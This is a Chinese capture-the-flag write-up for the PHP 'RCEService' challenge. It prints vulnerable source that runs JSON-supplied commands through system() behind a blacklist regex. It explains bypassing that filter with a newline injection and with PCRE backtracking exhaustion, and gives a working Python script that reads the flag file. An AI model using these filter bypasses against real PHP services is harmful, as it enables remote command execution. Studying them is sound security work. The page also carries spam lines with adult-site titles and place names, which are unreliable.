最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP試題之RCEService正則回溯解答

 更新時間:2022年04月11日 17:50:34   作者:-梔藍-  
這篇文章主要為大家介紹了PHP試題之RCEService正則回溯解答,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步早日升職加薪

打開題目輸入JSON類型的cmd后,嘗試讀取index.php的源代碼,但是讀取不出來,并且掃后臺出來的/index以及/index/login也沒有任何東西,實在不知道怎么做了,只能看一下別人的wp,發(fā)現別人以來都是審查源碼,我就奇怪了,源碼怎么弄來的,看了很多wp發(fā)現應該是比賽的時候直接給的源碼,但是buu平臺忘記加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正則,看來這題是要繞過正則執(zhí)行cmd命令了,這么多黑名單函數應該不會讓我們找漏網之魚吧,不會吧不會吧

我們看到正則表達式沒有添加修飾符,那我們可以利用多行匹配這個漏洞了

 在這里我們可以利用%0a換行符進行繞過正則匹配,而且可以看到要有修飾符s才會讓.*匹配換行符,因此我們這里可以利用我們之前的ls試試能不能成功

發(fā)現依然可以出來index.php;源代碼中編譯了環(huán)境變量path(我以為只是單純暗示我們這個目錄),我們就在那個目錄下看看 

發(fā)現了flag文件,我用nl,cat,more,less等命令都讀取不出來 ,查資料發(fā)現,系統(tǒng)命令需要有特定的環(huán)境變量的也就是路徑,系統(tǒng)找不到該路徑下的exe文件怎么執(zhí)行系統(tǒng)命令

因此這個地方查閱資料后發(fā)現只能調用絕對路徑下的命令,cat命令就在/bin/目錄下面

 第二種辦法也就是正則表達式回溯過多導致false,說實話我還是第一次聽到正則的回溯問題

PHP利用PCRE回溯次數限制繞過某些安全限制

簡單來說就是正則表達式匹配的時候某個.*將后面的字符全部匹配到了,導致表達式后面的式子沒有地方匹配,因此一個一個字符吐出來,直到后面的式子全部匹配完畢或者回溯次數過多

例子

 經過自己試試果然只能回溯一百萬次

'/^.*

正則表達式最前面的匹配字符,^代表首個字母,'.'代表除換行符之外的所有字符,*代表前面那個表達式重復執(zhí)行多次,因此他這里直接把我們的payload全部匹配完畢,導致后面的匹配不到字符了,只能一個個回溯

再將后面的匹配一下字符,可以發(fā)現目前寫的小寫字母都沒有過濾掉,因為十六進制\x00-\x1f換算成十進制并沒有到小寫字母的ascii值那個地方,因此我們可以任意利用一個小寫字母×個一百萬次,就可以讓正則表達式直接失敗

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

以上就是PHP試題之RCEService正則回溯解答的詳細內容,更多關于PHP試題RCEService正則回溯的資料請關注腳本之家其它相關文章!

相關文章

  • 三分鐘掌握PHP操作數據庫

    三分鐘掌握PHP操作數據庫

    這篇文章主要介紹了PHP如何操作數據庫,文中的實例代碼講解非常詳細,感興趣的小伙伴可以參考閱讀
    2023-04-04
  • php獲取手機端的號碼以及ip地址實例代碼

    php獲取手機端的號碼以及ip地址實例代碼

    這篇文章我們給大家一個完整的通過php獲取手機端的號碼以及ip地址實例代碼,需要的朋友們可以測試參考下。
    2018-09-09
  • PHP實現負載均衡的加權輪詢方法分析

    PHP實現負載均衡的加權輪詢方法分析

    這篇文章主要介紹了PHP實現負載均衡的加權輪詢方法,簡單描述了常見的負載均衡算法,并結合實例形式分析了加權輪詢的相關實現技巧,需要的朋友可以參考下
    2018-08-08
  • php數組指針函數功能及用法示例

    php數組指針函數功能及用法示例

    這篇文章主要介紹了php數組指針函數功能及用法,結合實例形式分析了PHP數組指針函數reset(),prev(),current(),next(),end(),key(),each()的功能、用法及針對數組鍵值相關操作技巧,需要的朋友可以參考下
    2020-02-02
  • php中如何判斷一個網頁請求是ajax請求還是普通請求

    php中如何判斷一個網頁請求是ajax請求還是普通請求

    以下是對php中如何判斷一個網頁請求是ajax請求還是普通請求的實現方法進行了詳細的分析介紹,需要的朋友可以過來參考下
    2013-08-08
  • PHP IE中下載附件問題解決方法

    PHP IE中下載附件問題解決方法

    在IE中下載附件之前要清空緩存、中文文件名要用urlencode編碼,下面有個不錯的示例,需要的朋友可以參考下
    2014-01-01
  • php基于GD庫畫五星紅旗的方法

    php基于GD庫畫五星紅旗的方法

    這篇文章主要介紹了php基于GD庫畫五星紅旗的方法,涉及php操作GD庫及數組的使用技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2015-02-02
  • ThinkPHP6使用最新版本Endroid/QrCode生成二維碼的方法實例

    ThinkPHP6使用最新版本Endroid/QrCode生成二維碼的方法實例

    這篇文章主要介紹了ThinkPHP6使用最新版本Endroid/QrCode生成二維碼的方法,結合實例形式詳細分析了ThinkPHP6使用最新版本Endroid/QrCode生成二維碼具體步驟、原理、實現方法與相關注意事項,需要的朋友可以參考下
    2023-07-07
  • php max_execution_time執(zhí)行時間問題

    php max_execution_time執(zhí)行時間問題

    大部分PHP代碼執(zhí)行時間都不會很久。但是有些時候,比如等待圖片上傳,可能執(zhí)行時間過長導致超時。
    2011-07-07
  • discuz authcode 經典php加密解密函數解析

    discuz authcode 經典php加密解密函數解析

    康盛的 authcode 函數可以說對中國的PHP界作出了重大貢獻。包括康盛自己的產品,以及大部分中國使用PHP的公司都用這個函數進行加密,authcode 是使用異或運算進行加密和解密。
    2010-02-02

最新評論

卓尼县| 彭山县| 隆昌县| 宜兰县| 江北区| 章丘市| 阜宁县| 浮山县| 陈巴尔虎旗| 蕉岭县| 华阴市| 永康市| 安顺市| 峨山| 昆山市| 平乐县| 文水县| 昌图县| 鄱阳县| 新宁县| 会同县| 土默特左旗| 南漳县| 鄂伦春自治旗| 霞浦县| 浦东新区| 崇左市| 蕲春县| 渭源县| 杨浦区| 鄱阳县| 桃源县| 泸定县| 西青区| 水富县| 磐安县| 随州市| 崇义县| 芷江| 聊城市| 通海县|